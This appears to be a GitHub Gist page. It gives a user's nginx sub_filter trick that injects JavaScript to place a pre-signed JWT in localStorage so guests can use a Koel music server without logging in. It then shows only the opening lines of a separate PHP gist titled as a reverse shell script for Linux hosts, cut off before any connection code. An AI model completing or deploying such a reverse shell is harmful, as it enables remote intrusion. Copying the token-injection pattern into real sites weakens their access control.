Skip to content

Instantly share code, notes, and snippets.

I wanted to allow guests to access Koel without logging in, so I modified the nginx.conf file bundled as part of https://github.com/binhex/arch-koel to inject some JavaScript on GET / which will set some local storage variable (jwt-token). Koel will assume you're an authenticated user and will try and hit /api/data. If the JWT is good and signed correctly you'll be seamlessly authenticated to Koel.
For the following to work your nginx instance needs to be compiled with the --with-http_sub_module config parameter. You can check this by running "nginx -V". This solution will not work if nginx hasn't been compiled with this config parameter.
Next you need to create a new user in Koel which will be used as the guest account.
Now locate the nginx.conf file and add the following lines under "location ~ \.php$ {":
sub_filter '<script>' '<script>if (window.location.hostname == "KOEL-DOMAIN-HERE") localStorage.setItem("jwt-token", "\\"JWT-HERE\\"");';
sub_filter_once on;
@rascal999
rascal999 / alm.php
Created June 23, 2016 20:40
Quick and dirty reverse shell script for Linux hosts.
<?php
$SCRIPT="#!/bin/bash
function check() {
if hash \$1 2>/dev/null; then
return 0
else
return 1
fi